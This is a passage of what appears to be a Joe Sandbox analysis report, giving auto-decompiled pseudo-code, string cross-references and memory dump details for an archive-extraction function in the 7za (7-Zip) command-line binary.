0x00417c54
0x00000000
0x00417c18
0x00417c1a
0x00417c26
0x00417c26
0x00000000
0x00417c1c
0x00417c1d
0x00000000
0x00417c1d
0x00417c1a

APIs

__EH_prolog.LIBCMT ref: 00417BB3

Part of subcall function 00414F74: __EH_prolog.LIBCMT ref: 00414F79

Strings

!, xrefs: 00418060
a, xrefs: 00418058
001, xrefs: 00417FCE
R, xrefs: 00418054
r, xrefs: 0041805C
c[@, xrefs: 00417D27, 00417F8C, 00417FE6, 0041802D, 004180DA
exe, xrefs: 00417D02
rar, xrefs: 00418095
000, xrefs: 00417FBD
tI, xrefs: 0041832C
Unknown error, xrefs: 004182F7, 004182FC
iso, xrefs: 004180F1

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 00415D31, Relevance: 11.2, APIs: 4, Strings: 2, Instructions: 726

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E00415D31(intOrPtr __ecx, signed int __edx, void* __eflags) {
				signed int _t453;
				signed int _t454;
				intOrPtr _t465;
				signed int _t468;
				signed int _t477;
				intOrPtr* _t485;
				signed int _t486;
				signed int _t487;
				signed char _t491;
				signed int _t496;
				intOrPtr _t505;
				signed int _t509;
				signed int _t519;
				signed int _t532;
				signed int _t539;
				signed int _t540;
				signed int _t544;
				intOrPtr _t553;
				intOrPtr _t554;
				intOrPtr _t563;
				signed int _t565;
				signed int _t573;
				signed int* _t581;
				signed int _t582;
				signed int _t589;
				signed int _t601;
				short* _t602;
				signed int _t610;
				signed int _t612;
				void* _t614;
				signed int _t617;
				signed int _t618;
				signed int _t620;
				void* _t623;
				signed int _t626;
				signed int* _t631;
				signed int _t632;
				void* _t646;
				signed int _t661;
				char* _t662;
				signed int _t669;
				intOrPtr* _t670;
				intOrPtr* _t671;
				intOrPtr* _t672;
				intOrPtr _t714;
				signed int* _t724;
				signed int _t747;
				void* _t748;
				intOrPtr _t756;
				signed int _t770;
				signed int _t771;
				signed int _t780;
				signed int _t785;
				signed int _t786;
				signed int _t788;
				signed int _t790;
				void* _t791;

				_t770 = __edx;
				E0046B890(E004749BF, _t791);
				_t780 =  *(_t791 + 0x24);
				 *((intOrPtr*)(_t791 - 0x34)) = __ecx;
				 *((intOrPtr*)(_t791 - 0x4c)) = __edx;
				 *((intOrPtr*)(_t780 + 0x20)) = 0;
				 *((intOrPtr*)(_t780 + 0x18)) = 0;
				 *((intOrPtr*)(_t780 + 0x10)) = 0;
				 *((intOrPtr*)(_t780 + 8)) = 0;
				 *_t780 = 0;
				 *((intOrPtr*)(_t780 + 0x24)) = 0;
				 *((intOrPtr*)(_t780 + 0x1c)) = 0;
				 *((intOrPtr*)(_t780 + 0x14)) = 0;
				 *((intOrPtr*)(_t780 + 0xc)) = 0;
				 *(_t780 + 4) = 0;
				 *((intOrPtr*)(_t780 + 0x28)) = 0;
				 *(_t791 - 0x18) = 0;
				 *(_t791 - 0x14) = 0;
				E00404AD0(_t791 - 0xe8, 8);
				 *((intOrPtr*)(_t791 - 0xe8)) = 0x47a688;
				 *(_t791 - 4) = 0;
				if( *( *(_t791 + 0x14)) == 0) {
					_t453 =  *( *((intOrPtr*)(_t791 + 8)) + 8);
				} else {
					_t453 = 1;
				}
				_t785 = 0;
				 *(_t791 - 0x24) = _t453;
				if(_t453 <= 0) {
					L8:
					_push(0xf8);
					_t454 = E004079F2();
					_t661 = _t454;
					 *(_t791 + 0x24) = _t661;
					 *(_t791 - 4) = 2;
					if(_t661 == 0) {
						goto L12;
					} else {
						L112();
						_t786 = _t454;
					}
				} else {
					do {
						E0040351A(_t791 - 0x70);
						 *(_t791 - 4) = 1;
						 *(_t791 - 0x98) = 0;
						 *((intOrPtr*)(_t791 - 0x94)) = 0;
						_t801 =  *( *(_t791 + 0x14));
						if( *( *(_t791 + 0x14)) != 0) {
							goto L7;
						} else {
							_push( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t791 + 8)) + 0xc)) + _t785 * 4))))); // executed
							_t646 = E0040B431(_t791 - 0x98, _t770, _t801); // executed
							if(_t646 == 0) {
								 *(_t791 + 0x14) = "there is no such archive";
								E0046B8F4(_t791 + 0x14, 0x47cf70);
								L11:
								 *(_t791 + 0x14) = "can\'t decompress folder";
								E0046B8F4(_t791 + 0x14, 0x47cf70);
								L12:
								_t786 = 0;
								__eflags = 0;
							} else {
								if(( *(_t791 - 0x78) >> 0x00000004 & 0x00000001) != 0) {
									goto L11;
								} else {
									goto L7;
								}
							}
						}
						goto L13;
						L7:
						E0042389F(_t791 - 0xe8,  *(_t791 - 0x98),  *((intOrPtr*)(_t791 - 0x94)));
						 *(_t791 - 0x18) =  *(_t791 - 0x18) +  *(_t791 - 0x98);
						 *(_t791 - 4) = 0;
						asm("adc [ebp-0x14], ecx");
						E00407A18( *((intOrPtr*)(_t791 - 0x70)));
						_t785 = _t785 + 1;
					} while (_t785 <  *(_t791 - 0x24));
					goto L8;
				}
				L13:
				 *(_t791 - 4) = 0;
				 *(_t791 - 0xec) = _t786;
				if(_t786 != 0) {
					 *((intOrPtr*)( *_t786 + 4))(_t786);
				}
				_t662 =  *(_t791 + 0x14);
				 *(_t791 - 4) = 3;
				_t771 = _t770 & 0xffffff00 |  *(_t791 - 0x24) - 0x00000001 > 0x00000000;
				 *((intOrPtr*)(_t786 + 0xe8)) = 0;
				 *((intOrPtr*)(_t786 + 0xe0)) = 0;
				 *((intOrPtr*)(_t786 + 0xd8)) = 0;
				 *(_t786 + 0xbb) = _t771;
				 *(_t786 + 0x30) = _t662[8];
				 *(_t786 + 0x34) = _t662[0xc];
				 *((intOrPtr*)(_t786 + 0xec)) = 0;
				 *((intOrPtr*)(_t786 + 0xe4)) = 0;
				 *((intOrPtr*)(_t786 + 0xdc)) = 0;
				 *((intOrPtr*)(_t786 + 0xf0)) = 0;
				if(_t771 == 0) {
					L20:
					__eflags =  *(_t791 - 0x24);
					 *(_t791 - 0x20) = 0;
					if( *(_t791 - 0x24) <= 0) {
						L79:
						__eflags = _t786;
						 *((intOrPtr*)(_t780 + 0x18)) =  *((intOrPtr*)(_t786 + 0xd8));
						 *((intOrPtr*)(_t780 + 0x1c)) =  *((intOrPtr*)(_t786 + 0xdc));
						 *((intOrPtr*)(_t780 + 0x20)) =  *((intOrPtr*)(_t786 + 0xe0));
						 *((intOrPtr*)(_t780 + 0x24)) =  *((intOrPtr*)(_t786 + 0xe4));
						 *((intOrPtr*)(_t780 + 8)) =  *((intOrPtr*)(_t786 + 0xe8));
						 *((intOrPtr*)(_t780 + 0xc)) =  *((intOrPtr*)(_t786 + 0xec));
						 *((intOrPtr*)(_t780 + 0x28)) =  *((intOrPtr*)(_t786 + 0xf0));
						 *(_t791 - 4) = 0;
						asm("cdq");
						 *_t780 =  *( *((intOrPtr*)(_t791 + 8)) + 8);
						 *(_t780 + 4) = _t771;
						_t465 =  *((intOrPtr*)(_t786 + 0xd0));
						 *((intOrPtr*)(_t780 + 0x10)) =  *((intOrPtr*)(_t465 + 0x20));
						 *((intOrPtr*)(_t780 + 0x14)) =  *((intOrPtr*)(_t465 + 0x24));
						if(_t786 != 0) {
							 *((intOrPtr*)( *_t786 + 8))(_t786);
						}
						 *(_t791 - 4) =  *(_t791 - 4) | 0xffffffff;
						E00408604(_t791 - 0xe8);
						_t468 = 0;
						__eflags = 0;
						goto L82;
					} else {
						do {
							 *(_t791 + 0x24) =  *( *((intOrPtr*)( *((intOrPtr*)(_t791 + 8)) + 0xc)) +  *(_t791 - 0x20) * 4);
							E0040351A(_t791 - 0x70);
							 *(_t791 - 4) = 4;
							__eflags =  *( *(_t791 + 0x14));
							if(__eflags == 0) {
								_t669 = _t791 - 0x98;
								_push( *( *(_t791 + 0x24))); // executed
								_t477 = E0040B431(_t669, _t771, __eflags); // executed
								__eflags = _t477;
								if(_t477 == 0) {
									L111:
									 *(_t791 + 0x14) = "there is no such archive";
									E0046B8F4(_t791 + 0x14, 0x47cf70);
									E0046B890(E00474A50, _t791);
									_push(_t669);
									_push(_t669);
									_push(0);
									_push(_t786);
									_t788 = _t669;
									_push(_t780);
									 *(_t791 - 0x10) = _t788;
									 *_t788 = 0x47ab60;
									 *((intOrPtr*)(_t788 + 4)) = 0x47a78c;
									 *((intOrPtr*)(_t788 + 8)) = 0x47ab50;
									 *((intOrPtr*)(_t788 + 0xc)) = 0;
									 *((intOrPtr*)(_t788 + 0x18)) = 0;
									 *(_t791 - 4) = 0;
									 *((intOrPtr*)(_t788 + 0x1c)) = 0;
									 *((intOrPtr*)(_t788 + 0x20)) = 0;
									_t670 = _t788 + 0x24;
									 *(_t791 - 4) = 2;
									 *_t670 = 0;
									 *((intOrPtr*)(_t670 + 4)) = 0;
									 *((intOrPtr*)(_t670 + 8)) = 0;
									E00401E9A(_t670, 3);
									_t671 = _t788 + 0x38;
									 *(_t791 - 4) = 3;
									 *_t671 = 0;
									 *((intOrPtr*)(_t671 + 4)) = 0;
									 *((intOrPtr*)(_t671 + 8)) = 0;
									E00401E9A(_t671, 3);
									_t672 = _t788 + 0x44;
									 *(_t791 - 4) = 4;
									 *_t672 = 0;
									 *((intOrPtr*)(_t672 + 4)) = 0;
									 *((intOrPtr*)(_t672 + 8)) = 0;
									E00401E9A(_t672, 3);
									 *((char*)(_t788 + 0x5a)) = 1;
									 *((char*)(_t788 + 0x5b)) = 1;
									 *((char*)(_t788 + 0x5c)) = 1;
									 *((intOrPtr*)(_t788 + 0x98)) = 0;
									 *((intOrPtr*)(_t788 + 0xa0)) = 0;
									_t485 = _t788 + 0xa4;
									 *((intOrPtr*)(_t485 + 4)) = 0;
									 *((intOrPtr*)(_t485 + 8)) = 0;
									 *((intOrPtr*)(_t485 + 0xc)) = 0;
									 *((intOrPtr*)(_t485 + 0x10)) = 4;
									 *_t485 = 0x47a420;
									_t782 = _t788 + 0xbc;
									 *((char*)(_t788 + 0xbb)) = 0;
									 *((intOrPtr*)(_t788 + 0xbc)) = 0;
									_push(0x38);
									 *(_t791 - 4) = 9;
									 *_t788 = 0x47ab30;
									 *((intOrPtr*)(_t788 + 4)) = 0x47ab20;
									 *((intOrPtr*)(_t788 + 8)) = 0x47ab10;
									_t486 = E004079F2();
									 *(_t791 - 0x14) = _t486;
									__eflags = _t486;
									 *(_t791 - 4) = 0xa;
									if(_t486 == 0) {
										_t487 = 0;
										__eflags = 0;
									} else {
										_t487 = E0040F3E5(_t486);
									}
									 *(_t791 - 4) = 9;
									 *((intOrPtr*)(_t788 + 0xd0)) = _t487;
									E0040C9B4(_t782, _t487);
									 *[fs:0x0] =  *((intOrPtr*)(_t791 - 0xc));
									return _t788;
								} else {
									_t491 =  *(_t791 - 0x78) >> 4;
									__eflags = _t491 & 0x00000001;
									if((_t491 & 0x00000001) != 0) {
										goto L111;
									} else {
										goto L25;
									}
								}
							} else {
								 *(_t791 - 0x98) = 0;
								 *((intOrPtr*)(_t791 - 0x94)) = 0;
								 *(_t791 - 0x78) = 0;
								L25:
								 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t791 + 0x18)))) + 0x18))();
								_t496 =  *((intOrPtr*)( *( *(_t791 + 0x1c)) + 0x24))( *( *(_t791 + 0x24)));
								__eflags = _t496;
								 *(_t791 - 0x1c) = _t496;
								if(_t496 != 0) {
									E00407A18( *((intOrPtr*)(_t791 - 0x70)));
									__eflags = _t786;
									 *(_t791 - 4) = 0;
									if(_t786 != 0) {
										 *((intOrPtr*)( *_t786 + 8))(_t786);
									}
									_t790 =  *(_t791 - 0x1c);
									goto L110;
								} else {
									E004033DB(_t791 - 0xd4);
									 *(_t791 - 4) = 5;
									E00404AD0(_t791 - 0x48, 4);
									 *(_t791 - 4) = 6;
									 *((intOrPtr*)(_t791 - 0x48)) = 0x47a668;
									E0040862D();
									_push( *((intOrPtr*)(_t791 - 0x4c)));
									E00443F76(_t791 - 0x48);
									_t505 =  *((intOrPtr*)(_t791 - 0x4c));
									 *(_t791 - 4) = 7;
									__eflags =  *(_t505 + 8);
									if( *(_t505 + 8) == 0) {
										_t747 =  *(_t791 + 0x24);
										_t601 =  *(_t747 + 4);
										__eflags = _t601;
										if(_t601 != 0) {
											_t748 =  *_t747;
											_t602 = _t748 + _t601 * 2 - 2;
											while(1) {
												__eflags =  *_t602 - 0x2e;
												if( *_t602 == 0x2e) {
													break;
												}
												__eflags = _t602 - _t748;
												if(_t602 == _t748) {
													_t125 = _t791 - 0x10;
													 *_t125 =  *(_t791 - 0x10) | 0xffffffff;
													__eflags =  *_t125;
												} else {
													_t602 = _t602;
													continue;
												}
												L34:
												__eflags =  *(_t791 - 0x10);
												if( *(_t791 - 0x10) >= 0) {
													E004072C9( *(_t791 + 0x24), _t791 - 0x58,  *(_t791 - 0x10) + 1);
													 *(_t791 - 4) = 8;
													_t610 = E00417651( *((intOrPtr*)(_t791 - 0x34)), _t791 - 0x58);
													__eflags = _t610;
													 *(_t791 - 0x1c) = _t610;
													if(_t610 >= 0) {
														_t612 = E00408053( *((intOrPtr*)(_t791 - 0x58)), L"001");
														__eflags = _t612;
														if(_t612 == 0) {
															_t614 = E00407399( *(_t791 + 0x24), _t791 - 0x104,  *(_t791 - 0x10));
															 *(_t791 - 4) = 9;
															E00401E26(_t791 - 0x58, _t614);
															 *(_t791 - 4) = 8;
															E00407A18( *((intOrPtr*)(_t791 - 0x104)));
															_t617 =  *(_t791 - 0x54);
															__eflags = _t617;
															if(_t617 != 0) {
																_t756 =  *((intOrPtr*)(_t791 - 0x58));
																_t618 = _t756 + _t617 * 2 - 2;
																while(1) {
																	__eflags =  *_t618 - 0x2e;
																	if( *_t618 == 0x2e) {
																		break;
																	}
																	__eflags = _t618 - _t756;
																	if(_t618 == _t756) {
																		_t620 = _t618 | 0xffffffff;
																		__eflags = _t620;
																	} else {
																		_t618 = _t618;
																		continue;
																	}
																	L44:
																	__eflags = _t620;
																	if(_t620 >= 0) {
																		_t623 = E004072C9(_t791 - 0x58, _t791 - 0xf8, _t620 + 1);
																		 *(_t791 - 4) = 0xa;
																		 *(_t791 - 0x10) = E00417651( *((intOrPtr*)(_t791 - 0x34)), _t623);
																		 *(_t791 - 4) = 8;
																		E00407A18( *((intOrPtr*)(_t791 - 0xf8)));
																		__eflags =  *(_t791 - 0x10);
																		if( *(_t791 - 0x10) >= 0) {
																			_t626 = E0040807A(L"rar");
																			__eflags = _t626;
																			if(_t626 != 0) {
																				E00415C6D(_t791 - 0x48,  *(_t791 - 0x10));
																				E00415C6D(_t791 - 0x48,  *(_t791 - 0x1c));
																			}
																		}
																	}
																	goto L48;
																}
																_t620 = _t618 - _t756 >> 1;
																goto L44;
															}
														}
													}
													L48:
													 *(_t791 - 4) = 7;
													E00407A18( *((intOrPtr*)(_t791 - 0x58)));
												}
												goto L49;
											}
											 *(_t791 - 0x10) = _t602 - _t748 >> 1;
											goto L34;
										}
									}
									L49:
									_push( *((intOrPtr*)(_t791 + 0x18)));
									_push( *(_t791 + 0x24));
									_push(0);
									_push( *( *(_t791 + 0x14)));
									_push(_t791 - 0x48);
									_push( *((intOrPtr*)(_t791 - 0x34)));
									_t509 = E00418A23(_t791 - 0xd4); // executed
									__eflags = _t509 - 0x80004004;
									 *(_t791 - 0x10) = _t509;
									if(_t509 == 0x80004004) {
										 *(_t791 - 4) = 5;
										E00408604(_t791 - 0x48);
										 *(_t791 - 4) = 4;
										E00403411(_t791 - 0xd4);
										E00407A18( *((intOrPtr*)(_t791 - 0x70)));
										__eflags = _t786;
										 *(_t791 - 4) = 0;
										if(_t786 != 0) {
											 *((intOrPtr*)( *_t786 + 8))(_t786);
										}
										_t790 = 0x80004004;
										goto L110;
									} else {
										 *((char*)(_t791 - 0x9c)) =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t791 + 0x18)))) + 0x14))();
										_t771 =  *( *(_t791 + 0x1c));
										_t519 =  *((intOrPtr*)(_t771 + 0x28))( *( *(_t791 + 0x24)),  *(_t791 - 0x10),  *((intOrPtr*)(_t791 - 0x9c)));
										__eflags = _t519;
										 *(_t791 + 0x24) = _t519;
										if(_t519 != 0) {
											 *(_t791 - 4) = 5;
											E00408604(_t791 - 0x48);
											 *(_t791 - 4) = 4;
											E00403411(_t791 - 0xd4);
											E00407A18( *((intOrPtr*)(_t791 - 0x70)));
											__eflags = _t786;
											 *(_t791 - 4) = 0;
											if(_t786 != 0) {
												 *((intOrPtr*)( *_t786 + 8))(_t786);
											}
											_t790 =  *(_t791 + 0x24);
											goto L110;
										} else {
											__eflags =  *(_t791 - 0x10);
											if( *(_t791 - 0x10) != 0) {
												goto L78;
											} else {
												__eflags =  *( *(_t791 + 0x14));
												if( *( *(_t791 + 0x14)) != 0) {
													L58:
													__eflags =  *(_t791 - 0xb8);
												} else {
													__eflags =  *(_t791 - 0xb8);
													 *(_t791 - 0x10) = 0;
													if(__eflags > 0) {
														do {
															_t589 = E0040373D(_t771,  *((intOrPtr*)( *((intOrPtr*)(_t791 - 0xb4)) +  *(_t791 - 0x10) * 4)));
															__eflags = _t589;
															 *(_t791 + 0x24) = _t589;
															if(_t589 >= 0) {
																__eflags =  *(_t791 + 0x24) -  *(_t791 - 0x20);
																if( *(_t791 + 0x24) >  *(_t791 - 0x20)) {
																	 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t791 + 8)))) + 4))( *(_t791 + 0x24), 1);
																	 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t791 + 0xc)))) + 4))( *(_t791 + 0x24), 1);
																	_t201 = _t791 - 0x18;
																	 *_t201 =  *(_t791 - 0x18) -  *((intOrPtr*)( *((intOrPtr*)(_t791 - 0xdc)) +  *(_t791 + 0x24) * 8));
																	__eflags =  *_t201;
																	asm("sbb [ebp-0x14], eax");
																	E00408784(_t791 - 0xe8,  *(_t791 + 0x24), 1);
																	 *(_t791 - 0x24) =  *( *((intOrPtr*)(_t791 + 8)) + 8);
																}
															}
															 *(_t791 - 0x10) =  *(_t791 - 0x10) + 1;
															__eflags =  *(_t791 - 0x10) -  *(_t791 - 0xb8);
														} while ( *(_t791 - 0x10) <  *(_t791 - 0xb8));
														goto L58;
													}
												}
												if(__eflags == 0) {
													L61:
													 *((intOrPtr*)(_t791 - 0x30)) = 0;
													 *(_t791 - 0x2c) = 0;
													 *((intOrPtr*)(_t791 - 0x28)) = 0;
													E00401E9A(_t791 - 0x30, 3);
													 *(_t791 - 4) = 0xb;
													_t532 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t791 + 0x18)))) + 0x10))(_t791 - 0x30);
													__eflags = _t532;
													 *(_t791 + 0x24) = _t532;
													if(_t532 != 0) {
														E00407A18( *((intOrPtr*)(_t791 - 0x30)));
														 *(_t791 - 4) = 5;
														E00408604(_t791 - 0x48);
														 *(_t791 - 4) = 4;
														E00403411(_t791 - 0xd4);
														E00407A18( *((intOrPtr*)(_t791 - 0x70)));
														__eflags = _t786;
														 *(_t791 - 4) = 0;
														if(_t786 != 0) {
															 *((intOrPtr*)( *_t786 + 8))(_t786);
														}
														_t790 =  *(_t791 + 0x24);
														goto L110;
													} else {
														__eflags =  *(_t791 - 0x2c);
														if( *(_t791 - 0x2c) == 0) {
															L64:
															_t539 =  *(_t791 - 0xcc);
															 *(_t791 + 0x24) = 0;
															__eflags = _t539;
															if(_t539 <= 0) {
																L68:
																_t540 =  *( *((intOrPtr*)(_t791 - 0xc8)) + _t539 * 4 - 4);
																 *(_t791 + 0x24) = _t540;
																__eflags =  *( *(_t791 + 0x14));
																if( *( *(_t791 + 0x14)) != 0) {
																	L71:
																	__eflags = 0;
																} else {
																	__eflags =  *(_t791 - 0x74);
																	if(__eflags != 0) {
																		goto L71;
																	} else {
																		_push(1);
																		_pop(0);
																	}
																}
																 *((char*)(_t540 + 0x2c)) = 0;
																 *((intOrPtr*)(_t540 + 0x24)) =  *((intOrPtr*)(_t791 - 0x80));
																 *((intOrPtr*)(_t540 + 0x28)) =  *((intOrPtr*)(_t791 - 0x7c));
																_push(_t791 - 0x60);
																_push( *((intOrPtr*)(_t791 + 0x20)));
																asm("adc ecx, [ebp-0x94]");
																_push(_t786);
																_push( *(_t791 + 0x1c));
																_push( *(_t791 + 0x14));
																_push( *(_t791 - 0xa8));
																_push( *((intOrPtr*)(_t791 - 0xac)) +  *(_t791 - 0x98)); // executed
																_t544 = E00416922( *(_t791 + 0x24),  *((intOrPtr*)(_t791 + 0x10)), __eflags); // executed
																__eflags = _t544;
																 *(_t791 + 0x24) = _t544;
																if(_t544 != 0) {
																	E00407A18( *((intOrPtr*)(_t791 - 0x30)));
																	 *(_t791 - 4) = 5;
																	E00408604(_t791 - 0x48);
																	 *(_t791 - 4) = 4;
																	E00403411(_t791 - 0xd4);
																	E00407A18( *((intOrPtr*)(_t791 - 0x70)));
																	__eflags = _t786;
																	 *(_t791 - 4) = 0;
																	if(_t786 != 0) {
																		 *((intOrPtr*)( *_t786 + 8))(_t786);
																	}
																	_t790 =  *(_t791 + 0x24);
																	goto L110;
																} else {
																	__eflags =  *( *(_t791 + 0x14));
																	if( *( *(_t791 + 0x14)) != 0) {
																		_t771 =  *(_t791 - 0x5c);
																		_t714 =  *((intOrPtr*)(_t791 - 0x60));
																	} else {
																		_t771 =  *(_t791 - 0xa8);
																		_t714 =  *((intOrPtr*)(_t791 - 0xac)) +  *(_t791 - 0x98);
																		asm("adc edx, [ebp-0x94]");
																		 *((intOrPtr*)(_t791 - 0x60)) = _t714;
																		 *(_t791 - 0x5c) = _t771;
																	}
																	 *((intOrPtr*)( *((intOrPtr*)(_t786 + 0xd0)) + 0x20)) =  *((intOrPtr*)( *((intOrPtr*)(_t786 + 0xd0)) + 0x20)) + _t714;
																	asm("adc [eax+0x24], edx");
																	_t553 =  *((intOrPtr*)(_t786 + 0xd0));
																	 *((intOrPtr*)(_t553 + 0x28)) =  *((intOrPtr*)(_t786 + 0xe8));
																	 *((intOrPtr*)(_t553 + 0x2c)) =  *((intOrPtr*)(_t786 + 0xec));
																	_t554 =  *((intOrPtr*)(_t791 + 0x20));
																	_push( *((intOrPtr*)(_t791 - 0x30)));
																	__eflags =  *(_t554 + 4);
																	if( *(_t554 + 4) != 0) {
																		E00407A18();
																		 *(_t791 - 4) = 5;
																		E00408604(_t791 - 0x48);
																		 *(_t791 - 4) = 4;
																		E00403411(_t791 - 0xd4);
																		E00407A18( *((intOrPtr*)(_t791 - 0x70)));
																		__eflags = _t786;
																		 *(_t791 - 4) = 0;
																		if(_t786 != 0) {
																			 *((intOrPtr*)( *_t786 + 8))(_t786);
																		}
																		_t790 = 0x80004005;
																		goto L110;
																	} else {
																		E00407A18();
																		goto L78;
																	}
																}
															} else {
																do {
																	_t563 =  *((intOrPtr*)( *((intOrPtr*)(_t791 - 0xc8)) +  *(_t791 + 0x24) * 4));
																	__eflags =  *(_t563 + 0x34);
																	if( *(_t563 + 0x34) == 0) {
																		goto L67;
																	} else {
																		_t724 =  *(_t791 + 0x1c);
																		_t565 =  *((intOrPtr*)( *_t724 + 0x1c))(_t724,  *((intOrPtr*)(_t563 + 0x30)));
																		__eflags = _t565;
																		 *(_t791 - 0x1c) = _t565;
																		if(_t565 != 0) {
																			E00407A18( *((intOrPtr*)(_t791 - 0x30)));
																			 *(_t791 - 4) = 5;
																			E00408604(_t791 - 0x48);
																			 *(_t791 - 4) = 4;
																			E00403411(_t791 - 0xd4);
																			E00407A18( *((intOrPtr*)(_t791 - 0x70)));
																			__eflags = _t786;
																			 *(_t791 - 4) = 0;
																			if(_t786 != 0) {
																				 *((intOrPtr*)( *_t786 + 8))(_t786);
																			}
																			_t790 =  *(_t791 - 0x1c);
																			goto L110;
																		} else {
																			goto L67;
																		}
																	}
																	goto L116;
																	L67:
																	_t539 =  *(_t791 - 0xcc);
																	 *(_t791 + 0x24) =  *(_t791 + 0x24) + 1;
																	__eflags =  *(_t791 + 0x24) - _t539;
																} while ( *(_t791 + 0x24) < _t539);
																goto L68;
															}
														} else {
															_t573 =  *((intOrPtr*)( *( *(_t791 + 0x1c)) + 0x34))(_t791 - 0x30);
															__eflags = _t573;
															 *(_t791 + 0x24) = _t573;
															if(_t573 != 0) {
																E00407A18( *((intOrPtr*)(_t791 - 0x30)));
																 *(_t791 - 4) = 5;
																E00408604(_t791 - 0x48);
																 *(_t791 - 4) = 4;
																E00403411(_t791 - 0xd4);
																E00407A18( *((intOrPtr*)(_t791 - 0x70)));
																__eflags = _t786;
																 *(_t791 - 4) = 0;
																if(_t786 != 0) {
																	 *((intOrPtr*)( *_t786 + 8))(_t786);
																}
																_t790 =  *(_t791 + 0x24);
																goto L110;
															} else {
																goto L64;
															}
														}
													}
												} else {
													 *(_t791 - 0x18) =  *(_t791 - 0x18) +  *((intOrPtr*)(_t791 - 0xac));
													_t581 =  *(_t791 + 0x1c);
													asm("adc [ebp-0x14], ecx");
													_t582 =  *((intOrPtr*)( *_t581 + 0xc))(_t581,  *(_t791 - 0x18),  *(_t791 - 0x14));
													__eflags = _t582;
													 *(_t791 + 0x24) = _t582;
													if(_t582 != 0) {
														 *(_t791 - 4) = 5;
														E00408604(_t791 - 0x48);
														 *(_t791 - 4) = 4;
														E00403411(_t791 - 0xd4);
														E00407A18( *((intOrPtr*)(_t791 - 0x70)));
														__eflags = _t786;
														 *(_t791 - 4) = 0;
														if(_t786 != 0) {
															 *((intOrPtr*)( *_t786 + 8))(_t786);
														}
														_t790 =  *(_t791 + 0x24);
														L110:
														 *(_t791 - 4) =  *(_t791 - 4) | 0xffffffff;
														E00408604(_t791 - 0xe8);
														_t468 = _t790;
														goto L82;
													} else {
														goto L61;
													}
												}
											}
										}
									}
								}
							}
							goto L116;
							L78:
							 *(_t791 - 4) = 5;
							E00408604(_t791 - 0x48);
							 *(_t791 - 4) = 4;
							E00403411(_t791 - 0xd4);
							 *(_t791 - 4) = 3;
							E00407A18( *((intOrPtr*)(_t791 - 0x70)));
							 *(_t791 - 0x20) =  *(_t791 - 0x20) + 1;
							__eflags =  *(_t791 - 0x20) -  *(_t791 - 0x24);
						} while ( *(_t791 - 0x20) <  *(_t791 - 0x24));
						goto L79;
					}
				} else {
					_t631 =  *(_t791 + 0x1c);
					_t632 =  *((intOrPtr*)( *_t631 + 0xc))(_t631,  *(_t791 - 0x18),  *(_t791 - 0x14));
					 *(_t791 + 0x24) = _t632;
					if(_t632 == 0) {
						goto L20;
					} else {
						 *(_t791 - 4) = 0;
						if(_t786 != 0) {
							 *((intOrPtr*)( *_t786 + 8))(_t786);
						}
						 *(_t791 - 4) =  *(_t791 - 4) | 0xffffffff;
						E00408604(_t791 - 0xe8);
						_t468 =  *(_t791 + 0x24);
						L82:
						 *[fs:0x0] =  *((intOrPtr*)(_t791 - 0xc));
						return _t468;
					}
				}
				L116:
			}

0x00415d31
0x00415d36
0x00415d44
0x00415d47
0x00415d4c
0x00415d4f
0x00415d52
0x00415d55
0x00415d58
0x00415d5b
0x00415d65
0x00415d68
0x00415d6b
0x00415d6e
0x00415d71
0x00415d74
0x00415d77
0x00415d7a
0x00415d7d
0x00415d82
0x00415d8f
0x00415d94
0x00415d9e
0x00415d96
0x00415d98
0x00415d98
0x00415da1
0x00415da5
0x00415da8
0x00415e28
0x00415e28
0x00415e2d
0x00415e33
0x00415e35
0x00415e3a
0x00415e3e
0x00000000
0x00415e40
0x00415e40
0x00415e45
0x00415e45
0x00415daa
0x00415daa
0x00415dad
0x00415db5
0x00415db9
0x00415dbf
0x00415dc5
0x00415dc7
0x00000000
0x00415dc9
0x00415dd8
0x00415dda
0x00415de1
0x00415e52
0x00415e59
0x00415e5e
0x00415e67
0x00415e6e
0x00415e73
0x00415e73
0x00415e73
0x00415de3
0x00415deb
0x00000000
0x00000000
0x00000000
0x00000000
0x00415deb
0x00415de1
0x00000000
0x00415ded
0x00415dff
0x00415e10
0x00415e16
0x00415e19
0x00415e1c
0x00415e21
0x00415e23
0x00000000
0x00415daa
0x00415e75
0x00415e77
0x00415e7a
0x00415e80
0x00415e85
0x00415e85
0x00415e8c
0x00415e8f
0x00415e99
0x00415e9c
0x00415ea2
0x00415ea8
0x00415eb0
0x00415eb6
0x00415eb9
0x00415ebc
0x00415ec2
0x00415ec8
0x00415ece
0x00415ed4
0x00415f10
0x00415f10
0x00415f13
0x00415f16
0x004163df
0x004163e5
0x004163e7
0x004163f0
0x004163f9
0x00416402
0x0041640b
0x00416414
0x0041641d
0x00416423
0x00416429
0x0041642a
0x0041642c
0x0041642f
0x00416438
0x0041643e
0x00416441
0x00416446
0x00416446
0x00416449
0x00416453
0x00416458
0x00416458
0x00000000
0x00415f1c
0x00415f1c
0x00415f2b
0x00415f2e
0x00415f36
0x00415f3a
0x00415f3c
0x00415f52
0x00415f58
0x00415f5a
0x00415f5f
0x00415f61
0x0041668a
0x00416693
0x0041669a
0x004166a4
0x004166a9
0x004166aa
0x004166ab
0x004166ac
0x004166ad
0x004166b1
0x004166b2
0x004166b5
0x004166bb
0x004166c2
0x004166c9
0x004166cc
0x004166cf
